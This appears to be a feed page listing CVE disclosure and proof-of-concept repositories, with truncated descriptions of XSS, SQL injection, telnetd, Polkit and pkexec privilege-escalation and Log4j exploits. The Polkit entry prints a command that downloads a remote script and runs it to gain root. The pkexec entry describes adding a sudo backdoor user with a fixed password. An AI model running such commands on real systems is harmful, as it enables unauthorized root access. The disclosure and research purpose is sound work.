CVE-disclosures

CVE-2026-3171 与 CVE-2026-3170 – Archana M 由 Archana M 发布的官方漏洞披露。 🔹 CVE-2026-3171 产品： SourceCodester / Patrick Mvuma 患者候诊区排队管理系统 1.0 漏洞类型： 跨站脚本（CWE-79） 受影响文件： /queue.php 攻击向量： 远程 用户交互： 需要 CVSS v3.1： 3.5（AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N） 状态： 已公开披露 描述 对用户输入（firstname / lastname）的中和不当，导致跨站脚本（XSS）漏...

CVE-2026-24061-PoC-Telnetd

CVE-2026-24061 概念验证（PoC） ⚠️ 免责声明：仅供教育用途 ⚠️ 本仓库包含针对 CVE-2026-24061 的概念验证（PoC）漏洞利用代码。其用途严格限于教育目的以及在受控实验室环境中测试系统。 作者不对任何滥用此代码的行为承担责任。 关于 CVE-2026-24061 该漏洞影响 inetutils-telnetd，允许未经身份验证的远程攻击者通过操纵 USER 环境变量来获取 root 权限。 有关详细分析，请参阅以下研究： Safebreach Labs 根本原因分析 搭建易受攻击的环境 已准备了一个 Docker 镜像，用于安全地模拟易受攻击的环境。...

CVE-2026-24061-Scanner

CVE-2026-24061 扫描器：GNU Inetutils Telnet 漏洞检测工具 CVE-2026-24061 扫描器 是一款基于 Bash 脚本的工具，用于对 GNU Inetutils 软件包中 telnetd 服务的 身份验证绕过 漏洞进行检测（侦察）和主动验证（主动漏洞利用检查）。 该漏洞允许攻击者通过 USER 环境变量进行 参数注入 ，从而在无需密码的情况下强制以 root 身份登录。 ⚠️ 警告： 此工具仅用于教育目的、内部安全审计和官方授权的红队行动。未经授权对非您所有的系统进行使用属于违法行为。 📋 功能特性 子网扫描：...

CVE-2026-6182-SQLI-auth

SQL 注入认证绕过 - 简单内容管理系统 PHP 描述 简单内容管理系统 PHP 的管理员登录页面存在 SQL 注入漏洞。user 参数在传入 SQL 查询之前未经过净化处理，允许未经认证的攻击者绕过认证并获得完整的管理员访问权限。 漏洞详情 类型： SQL 注入（CWE-89） 影响： 认证绕过，可获得完整的管理员访问权限 受影响文件： /web/admin/login.php 受影响参数： user 攻击向量： 远程，未经认证 严重性： 严重 厂商 code-projects.org 产品 简单内容管理系统 PHP 版本 1.0 概念验证（PoC） 步骤 1 - 在 burp...

CVE-2021-44521

CVE-2021-44521 CVE-2021-44521 的自动化 PoC 致谢原始 PoC：https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/ 环境要求 Cassandra-driver root@kitploit: pip3 install cassandra-driver 使用方法 root@kitploit: python3 poc.py 请注意，目前一次只能执行一条命令，也不能使用管道符。...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 Add Root User - Pkexec Local Privilege Escalation 根据CVE-2021-4034进行了加强，执行Exploit将会默认添加用户名rooter，密码Hello@World，并且rooter用户将具有sudo权限。 Refer to CVE-2021-4034, executing Exploit will add username rooter, password Hello@World by default, and The rooter user will have sudo...

bug-free-memory

nate158 https://t.me/Nate158digimon gcloud compute addresses create google-managed-services-VPCNETWORKNAME --global --purpose=VPCPEERING --addresses=192.168.0.0 --prefix-length=16 --network=projects/PROJECTID/global/networks/VPCNETWORKNAME nate15872.wordpress.com...

CVE-2021-3560

CVE-2021-3560 Polkit 即时 Root 漏洞利用 你可以通过输入以下命令，在存在 Polkit CVE-2021-3560 漏洞的机器上一条命令获取 root 权限： sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" 或者你可以下载 .sh 文件，或直接复制粘贴。运行后即可即时获取 root 权限。创建的用户名为 'n3on'，无密码，脚本随后会切换到 root。 使用方法： git clone...

CVE-2024-56433

CVE-2024-56433 shadow-utils - 本地用户不安全的默认从属 ID 分配 摘要 默认的从属 ID 分配存在与现有用户 ID 冲突的风险，可能导致任意更改 UID/GID，并未经授权访问数据和网络资源。 受影响版本 基础软件包：shadow-utils 4.4 - 4.17.0 受影响的 Linux 发行版 已确认：Debian 12、Red Hat Enterprise Linux 9、Red Hat Enterprise Linux 10。所有使用 shadow-utils 4.4 及更高版本的新近发行版均受影响。 参考...

CVE-2026-25050

CVE-2026-25050 – Ataque de temporización en la autenticación Este repositorio contiene una Prueba de Concepto que demuestra un ataque de temporización que afecta al método NativeAuthenticationStrategy.authenticate. Esta PoC se proporciona como una demostración técnica con fines de blog /...

CVE-2026-30082

IngEstate Server 软件包列表页面编辑功能中的存储型跨站脚本（XSS）漏洞 受影响版本：IngEstate Server - 11.14.0 受影响功能 受影响 API：PUT /emgui/rest/appDatasheet//?full=true HTTP/1.1 PoC 要利用此存储型跨站脚本（XSS）漏洞，已认证用户必须首先通过仪表盘访问软件包列表页面。编辑功能与 API 端点 /emgui/rest/appDatasheet/ 交互。攻击者随后可将 XSS 载荷注入“关于应用程序”、“新增内容”或“发布说明”参数中。一旦注入成功，恶意 JavaScript...

Log4j_Vulnerability_Demo

Log4jVulnerabilityDemo Un programa sencillo para demostrar cómo se puede explotar la vulnerabilidad de Log4j CVE-2021-44228 Ejecutar la demo : Para iniciar el programa, simplemente ejecute start.sh en sistemas UNIX o start.bat en Windows. La entrada del usuario se leerá y se registrará en la...

CVE-2021-40449-NtGdiResetDC-UAF

CVE-2021-40449-NtGdiResetDC-UAF CVE-2021-40449 的 POC。 仅在 1809 上测试过，代码有些粗糙，但对我来说是一次很好的经验。 没有使用 ThreadName 方法，而是使用了用户空间内存分配。...

CVE-2021-45008

CVE-2021-45008 从普通用户到管理员的权限提升 受影响产品及版本：Plesk Obsidian 18.0.37 严重性：严重 影响：从普通用户获得管理员高权限，并访问关键信息 描述：不安全的权限漏洞，允许非特权用户获取管理员权限。 复现步骤： 1. 使用低权限用户账户登录 2. 使用 Burp 捕获请求 3. 注意 Super admin flag 参数为 false 4. 将请求转发至登录 5. 现在退出登录，重新输入凭据登录并捕获请求 6. 将 Super admin flag 参数的值从 false 改为 true，然后转发请求 7. 将看到更多信息，如银行账户及其他信...

cve-2021-43858

Exploit CVE-2021-43858 Exp de escalada de privilegios de usuario en MinIO Forma de ejecución: go run exp.go...

CVE-2026-0300-POC

🛡️ CVE-2026-0300：PAN-OS User-ID™ 门户远程代码执行分析 研究概念验证：CWE-787 越界写入 📌 概述 CVE-2026-0300 是在 Palo Alto Networks PAN-OS User-ID™ 身份验证门户（强制门户）中发现的一个高危缓冲区溢出漏洞。本研究仓库演示了该漏洞的技术逻辑，重点说明未认证的网络数据包如何导致以 root 权限执行远程代码执行（RCE） 。 📊 漏洞详情 特性| 详情 ---|--- CVE 编号| CVE-2026-0300 严重性评分| 9.3（严重） 弱点类型| CWE-787：越界写入 攻击向量| 网络（未认证...

CVE-2026-87462

UI misrepresentation in FedCM in Google Chrome prior to 153.0.8010.36...

CVE-2026-87559

UI misrepresentation in UI in Google Chrome prior to 153.0.8010.36 all...

PT-2026-89414

MISP contains an HTML injection vulnerability in the MISPElementHTMLFormatterTool component, which is responsible for rendering MISP element references attributes, objects, and tags into inline HTML during PDF report export via the convert markdown to pdf module. The attribute, objectAttribute,...

Linux Distros Unpatched Vulnerability : CVE-2026-61911

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An issue was discovered in Cyrus IMAP before 3.12.4. There is a Sieve mailbox existence oracle. An authenticated user could install a Sieve script that probed...